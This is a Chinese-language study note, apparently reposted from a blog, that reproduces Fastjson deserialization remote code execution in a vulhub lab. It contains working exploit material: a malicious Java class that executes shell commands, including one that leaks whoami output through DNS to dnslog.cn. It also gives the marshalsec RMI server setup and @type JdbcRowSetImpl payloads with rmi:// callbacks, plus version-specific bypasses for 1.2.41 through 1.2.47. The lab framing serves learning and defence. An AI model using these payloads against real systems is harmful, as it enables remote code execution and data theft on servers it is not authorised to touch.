FastJson远程命令执行漏洞学习笔记

Fastjson简介

fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象,提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

 //将字符串转化为对象
 JSONObject obj=JSON.parseObject(jsonStr);

JavaBean:

JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:

  • 提供一个默认的无参构造函数。

  • 需要被序列化并且实现了 Serializable 接口。

  • 可能有一系列可读写属性。

  • 可能有一系列的 getter 或 setter 方法。

Fastjson远程命令执行漏洞原理

Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并用该类的set/get方法来访问属性。

其在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object,value)方法,会将获取到的数组对象,赋予到@type class中的对应属性中。(在后面构造poc的时候详细说)在这里,就可能执行构造的恶意代码。从而造成代码执行。

通俗理解:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。攻击者通过这种方式,可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行更改,增加,删除等操作,对服务器造成巨大影响。

环境准备

1、安装docker

 sudo apt update
 sudo apt install -y docker.io
 dockesystemclt enable docker --now
 sudo apt install docker-compose

2、安装vulhub

github下载,解压进入fastjson->1.2.24rce文件夹在这里打开终端(cd也行)

 sudo docker-compose build
 sudo docker-compose up -d

3、配置java8

下载java8

https://www.oracle.com/java/technologies/downloads/

 mkdir /opt/java
 tar zxvf jdk8u341-linux-x64.tar.gz
 ​
 vim /etc/profile
  末尾添加:
  export JAVA_HOME=/opt/java/jdk1.8.0_341
  export JRE_HOME=/opt/java/jdk1.8.0_341
  export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
  export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
 source /etc/profile
 ​
 java -version
 显示版本即配置成功

4、下载marshalsec

 git clone https://github.com/mbechler/marshalsec.git

5、安装maven

下载maven

 apt-get install maven

使用maven编译marshalsec成jar包

 cd marshalsec
 mvn clean package -DskipTests

漏洞复现

fastjson1.2.24-rce

靶机kali :192.168.255.130 攻击机kali: 192.168.255.130

这里也可以用两个不同机器

开启fastjson漏洞

 sudo docker-compose up -d
 这里是因为之前我已经开过了

访问靶机,可以看到json格式的输出

执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。

curl http://192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'

还可以通过burp抓包,post一个非json格式的数据,看报错情况(但是这里我没有成功,暂时没找到原因借用一下网图)

编译一个恶意类,这里其实需要注意一下,有的kali权限受限,不会执行commonds中的命令,比如这里的这个如果没有root权限的话就执行不了,导致没有结果。后面在加一个普通权限即可有结果回显的。

//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {

static {

try {
//运行时,是一个封装了JVM进程的类。每一个JAVA程序实际上都是启动了一个JVM进程,那么每一个进程都是对应这一个Runtime实例,其实例是由JVM为其初始化的。

Runtime rt = Runtime.getRuntime();//取得Runtime类的实例

String[] commonds = {"touch", "/tmp/zcctest"};
//定义要执行的命令字符串

Process pc = rt.exec(commonds);
//exec是执行本机的命令,它的返回值是一个进程,故用process 一个实例来接收,

pc.waitFor();
//返回该Process对象代表的进程的出口值

} catch (Exception e) {
//do nothing
}

}
}

然后,这里是把文件变为class字节的,在JVM虚拟机中执行

javac fjsonxmp.java

搭建http服务传输恶意文件

python2
python -m SimpleHTTPServer 80

python3
python -m http.server 80

开启RMI服务

cd marshalsec

cd target

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.255.130/#fjsonxmp" 9999

使用burp抓包,并写入poc

poc

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",
"autoCommit":true
}
}
fastjson序列化的时候,会把原始类型记录下来
序列化后的字符串中添加@type属性,存放对象类型
首先我们找到需要调用的类com.sun.rowset.JdbcRowSetImpl,这个类一定会被加载
被攻击的服务器拿到这个恶意的数据就找rmi服务器去执行命令
这个rmi服务器相当于请求80端口服务器中的fjsonxmp.class
从rmi请求中得到命令touch /tmp/zcctest
然后被攻击的服务器就回去执行命令
这里举个小例子来帮助理解

class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
class Banana implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}

这两个类在传输的时候 json格式是这样的
"Fruit":{
price:50
}
这里只说明了一个Fruit的price为50,可是却不知道传输的是Banana还是Apple。这是利用autoType
添加@type字段来存放对象类型
"Fruit":{
@type:Apple
price:50
}
假设这样传输,就可以明确是Apple的price为50.

我们在找到需要调用的类:com.sun.rowset.JdbcRowSetImpl 这个类一定会被读取加载 他就相当于Apple
dataSourceName 他就相当于 price对于Apple的情况。

这里可以看到rmi 和 80 http服务 都收到了请求。但是因为没权限执行,所以没有回显结果。文件未创建。

利用dnslog来回显结果

修改恶意类

import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};

Process pc = rt.exec(commonds);

pc.waitFor();

} catch (Exception e) {
//do nothing
}

}
}

可以看到有请求

成功回显,达到远程任意指令执行。

fastjson1.2.41-rce

fastjson在加载到过程中,会在加载类的时候去掉className前面的L和最后的;,所以就有了如下的poc:

{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

从而凑出com.sun.rowset.JdbcRowSetImpl

fastjson1.2.42-rce

由于上一个版本只只过滤了L;,所以又可以通过双写绕过

{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson1.2.43-rce

上一个版本中双写L和; 被绕过,所有又增加了一个是否以LL未开头判断,绕过的方法是在`目标类前面添加[

poc:

{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson1.2.47-rce

因为从1.2.45开始autotype是默认关闭的,因为之前开启一直出现漏洞,但是关闭他也出现了。

因为来fastjson中有一个全局缓存,在类加载的时候,

  1. 如果autoType没开启,会先尝试从mapping缓存中获取目标类,如果缓存中有,则直接返回进入之后的反序列化流程。

  2. 如果autoType开启,因为typeName为java.lang.Class不在黑名单,成功绕过检测被解析为Class类型。

java.lang.Class在缓存中肯定有,该类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类Class到全局缓存中。

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}

总结

fastjson的漏洞其实就是fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。

笔记只做学习记录分享。如有错误,请大家批评指正!

文章内容多来于

https://www.freebuf.com/articles/web/283585.html

https://www.freebuf.com/vuls/276512.html

如有侵权立删。

FastJson远程命令执行漏洞学习笔记的更多相关文章

  1. Fastjson远程代码执行漏洞复现

    fastjson漏洞简介 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式.它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令 ...

  2. Supervisord远程命令执行漏洞(CVE-2017-11610)复现

    Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...

  3. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  4. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  5. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  6. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  7. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  8. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  9. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

随机推荐

  1. 基于.NetCore开发博客项目 StarBlog - (12) Razor页面动态编译

    系列文章 基于.NetCore开发博客项目 StarBlog - (1) 为什么需要自己写一个博客? 基于.NetCore开发博客项目 StarBlog - (2) 环境准备和创建项目 基于.NetC ...

  2. Spring Security认证器实现

    目录 拦截请求 验证过程 返回完整的Authentication 收尾工作 结论 一些权限框架一般都包含认证器和决策器,前者处理登陆验证,后者处理访问资源的控制 Spring Security的登陆请 ...

  3. SAP Web Dynpro-消息

    在ABAP Workbench中,您还可以创建和显示包含Dynpro应用程序最终用户信息的消息. 这些消息显示在屏幕上. 这些是用户交互消息,显示有关Web Dynpro应用程序的重要信息. 为了向用 ...

  4. Java服务假死后续之内存溢出

    一.现象分析 上篇博客说到,Java服务假死的原因是使用了Guava缓存,30分钟的有效期导致Full GC无法回收内存.经过优化后,已经不再使用Guava缓存,实时查询数据.从短期效果来看,确实解决 ...

  5. nw.js的cookie操作

    在实战中,我遇到nw.js cookie一个奇怪的现象. 当我写入cookie(非httponly)后,关闭nw.js.然后再打开nw.js发现cookie没有写入成功.经过摸索,发现 nw.js的c ...

  6. 在 SQL Server 中使用 Try Catch 处理异常

    如何在 SQL Server 中使用 Try Catch 处理错误? 从 SQL Server 2005 开始,我们在TRY 和 CATCH块的帮助下提供了结构错误处理机制.使用TRY-CATCH的语 ...

  7. 4-11 Spring Security及SSO

    1. 关于用户身份认证与授权 Spring Security是用于解决认证与授权的框架. 在根项目下创建新的csmall-passport子模块,最基础的依赖项包括spring-boot-starte ...

  8. 第七天python3 函数、参数及参数解构(二)

    函数参数 参数规则: 参数列表参数一般顺序是:普通参数<--缺省参数<--可变位置参数<--keyword-only参数(可带缺省值)<--可变关键字参数 def fn(x,y ...

  9. 2535-springsecurity系列--关于授权角色“ROLE”前缀的问题

    版本信息 <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring ...

  10. 使用Python3.7+Django2.0.4配合vue.js2.0的组件递归来实现无限级分类(递归层级结构)

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_133 所谓的无限极分类是啥?其实简单点说就是一个人类可以繁衍出多个后代,然后一个后代又可以分另外多个后代这样无限繁衍下去(可以想象 ...